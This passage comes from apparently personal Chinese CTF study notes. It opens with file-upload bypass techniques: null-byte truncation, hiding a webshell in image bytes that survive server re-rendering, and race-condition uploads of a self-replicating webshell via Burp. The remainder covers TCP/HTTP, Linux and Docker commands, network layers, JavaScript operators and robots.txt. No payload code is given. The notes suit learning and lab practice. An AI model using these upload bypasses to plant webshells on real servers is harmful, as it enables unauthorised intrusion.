备注:需要注意的是,这种方法应当与下文我们要讨论的0x00绕过法区分。二者的区别在于save_path的位置不一样,%00法的save_path在顶上,而0x00在下方,在下文我们还会提及。

image-20250413131436103

image-20250413131448695

查看环境变量

image-20250413131515151

12>0x00截断绕过
解释:原理和%00差不多,就不多说了。
方法:

img

13>二次渲染问题
判断方法:用16进制编辑器监测上传图片和原图,下面我用010editor为例子

img

选择tools,找到compare,然后选原图和上传图,就能轻易看出是否有不同。如果发现是二次渲染,下面提供两种解决思路:
方法一:将渲染后的图片,写成图片马,再次上传。
方法二:找到两次图片的相同部位,在未改动的偏后位置写入木马。
14>竞争性文件上传漏洞
原理:服务器会将不合格的上传文档删掉,只要黑客上传够多够及时,趁着服务器没反应过来,也能成功植入木马。
方法:感觉这种题比较冷门,简单介绍一下啊。基本思路就是用Bp攻击,上传可以自我繁殖的木马,然后访问。就不详细介绍了,网上找到图片教程如下:

img

img

HTTP和TCP协议
  • TCP 属于 传输层协议(Transport Layer Protocol),在 OSI 模型的第 4 层或 TCP/IP 模型的传输层。
  • HTTP 属于 应用层协议(Application Layer Protocol),在 OSI 模型的第 7 层或 TCP/IP 模型的应用层。

TCP 的作用

TCP 是一种传输层协议,主要负责:

  • 可靠的数据传输:通过确认机制、重传机制、数据排序等方式,确保数据能够完整无误地从发送方传输到接收方。
  • 流量控制:防止发送方发送数据过快导致接收方无法处理。
  • 拥塞控制:避免网络拥堵,保证网络的稳定性。
  • 建立连接:通过三次握手建立连接,四次挥手断开连接。
  • 提供端到端通信:通过 IP 地址和端口号标识通信的两端。

TCP 关注的是“如何将数据从一端可靠地传输到另一端”,而不是关心数据的具体内容。

HTTP 的作用

HTTP 是一种应用层协议,主要负责:

  • 定义客户端和服务器之间的通信规则:例如,浏览器(客户端)如何向 Web 服务器请求网页,服务器如何响应这些请求。
  • 请求/响应模式:客户端发送请求(Request),服务器返回响应(Response)。
  • 数据格式:HTTP 定义了请求和响应的格式,例如 URL、状态码(如 200、404)、头部字段(Headers)、消息体(Body)等。
  • 支持多种操作:GET(获取资源)、POST(提交数据)、PUT(更新资源)、DELETE(删除资源)等。

HTTP 关注的是“如何在客户端和服务器之间交换信息”,而不关心底层如何传输数据。


  • TCP 是面向连接的协议,通信之前需要通过三次握手建立连接,通信结束后通过四次挥手断开连接。
  • HTTP 是基于请求/响应模式的协议,通常是无状态的(即每个请求独立,不依赖之前的请求)。虽然 HTTP/1.1 引入了持久连接(Keep-Alive),但本质上仍然是一种无状态协议。

4. 数据封装的关系

在网络通信中,HTTP 数据会被封装到 TCP 数据包中进行传输:

  1. 应用层:HTTP 协议生成请求或响应数据。
  2. 传输层:HTTP 数据被封装到 TCP 数据段中。
  3. 网络层:TCP 数据段再被封装到 IP 数据包中。
  4. 链路层:IP 数据包进一步封装为帧,最终通过物理网络传输。

因此,TCP 是 HTTP 的底层传输协议,HTTP 借助 TCP 实现数据的可靠传输。

image-20250417201544776

LINUX基础

/etc 主要用于存放系统的配置文件

命令

image-20250417100956530

ls 当前目录 ls .

cat /flag

cd ../ 上一级目录 cd -

pwd 显示当前工作目录的路径

find命令 (查看文件)

image-20250417170224466

匹配文件名

find / - name *.conf

​ /的意思是根目录,就是在系统全部内容寻找

Docker

docker和虚拟机,服务器 (一般都是linux系统)本质上差不多,都是一个系统

image-20250417103230843

查看docker的状态

systemctl status docker /查看状态 ssh也可以 就是 systemctl status docker

打开docker

systemctl status docker

设置开机自动启动

systemctl enable docker

docker基础操作

列出镜像

docker image ls -a = docker images

image-20250417104053332

拉取镜像

image-20250417171258132

有时候会有一串

image-20250417204740480

是本地没有这个镜像,等一会就拉取成功

删除镜像

image-20250417171516967

docker容器操作

创建容器

docker run [option] 镜像名

image-20250417171755469

​ 把下面的参数 替换到上面的[option]

docker run -i hello-world

docker run -dit --name=mycentos3 centos

docker run -it --name=mycentos centos /bin/bash/

就是开启一个centOS 的环境

image-20250417173019492

守护式容器

退出后不停止

image-20250417173255259

进入容器

docker exec -it 容器名

image-20250417173432321

进来就可以继续使用命令

将容器保存为镜像

docker commit 容器名 镜像名

image-20250417204034501

拿到镜像后

使用load 将镜像加载到本地

docker load -i ./centos.tar

容器加速器

![](E:\Screenshots\屏幕截图 2025-04-17 104603.png)

image-20250417104640377

image-20250417104757780

image-20250417104829854

网络协议分层

image-20250419210055964

image-20250419210233190

image-20250419210509984

image-20250419210851285

TCP (传输层控制协议)

UDP (只负责发)

端口

image-20250419211153253

(标签页是指网页)

image-20250419211627388

image-20250419211712988

image-20250419211839280

这里就知道了为什么看 ipconfig 的时候是 ipv4

数据链路层

image-20250419212815984

image-20250419212836275

物理层

image-20250419213311613

网络层

IP和MAC

image-20250419213808262

路由器也有网卡,主机和服务器之间是通过MAC来通信传输

IP

HTTP

image-20250419215703260

image-20250419215851901

image-20250419220048530

image-20250420110710875

​ #是个锚点

在get型sql注入时不能用#

image-20250420111010505

​ HTTP

​ 请求行

image-20250420111140407

请求头是一系列如 cookie refer 等信息

请求方式

image-20250420112013190

请求头部

image-20250420112212748

GET 和 POST

image-20250420112644354

HTTP响应

image-20250420112852479

image-20250420113201949

200是OK

文件上传

image-20250420113820295

image-20250420113847191

HTTP和HTTPS

image-20250420114220646

image-20250420114244767

JavaScript

image-20250420164024496

​ 变量

image-20250420164213536

​ 数据类型

image-20250420164351059

数字型

正数,负数,整数,小数

字符串类型

image-20250420164824585

image-20250420165031207

为了避免误会,使用转义字符来表示

比如 "JavaScr \ "ipt"

null

image-20250420165445166

JS语法

1.赋值运算

image-20250424202855356

2.算数运算符

image-20250424203214738

3.自增运算符

image-20250424203241465

image-20250424203410174

i++就是先将i的值赋值给j,再加1

j是10,i加完是11

image-20250424203520074

先i+1 就是11 然后赋值给j j就是11

4. 自减运算符

image-20250424204938011

image-20250424205036142

i--

先将i的值赋值给j ,j就是10,然后i减1 ,i就是9

--i

先将i的值减1,i就是9.然后再赋值给 j ,j就是9

5.字符串运算符

image-20250424205900532

== 是弱相等 ,值相等就可

=== 是强相等 , 数据类型和值都应该相等

6.逻辑运算符

image-20250424210117600

&& 同真才真

|| 有真即真

! 非 取反

7.三元运算符

robots.txt

image-20250424210259039

robots.txt 文件是放置在网站根目录下的一个文本文件,用于告知网络爬虫(如搜索引擎的爬虫)该网站中哪些内容可以被抓取,哪些不可以。这个文件遵循一定的格式,通过它网站管理员可以控制搜索引擎蜘蛛对网站的访问方式。

基本格式如下:

深色版本
User-agent: *
Disallow: /
  • User-agent 行指定了这份规则适用于哪个或哪些爬虫。星号 * 表示此规则适用于所有爬虫。
  • Disallow 行则列出了禁止爬虫访问的路径。在这个例子中,/ 表示整个网站都不允许爬虫访问。
posted @ 2025-05-30 10:15  ethan——1231  阅读(38)  评论(0)    收藏  举报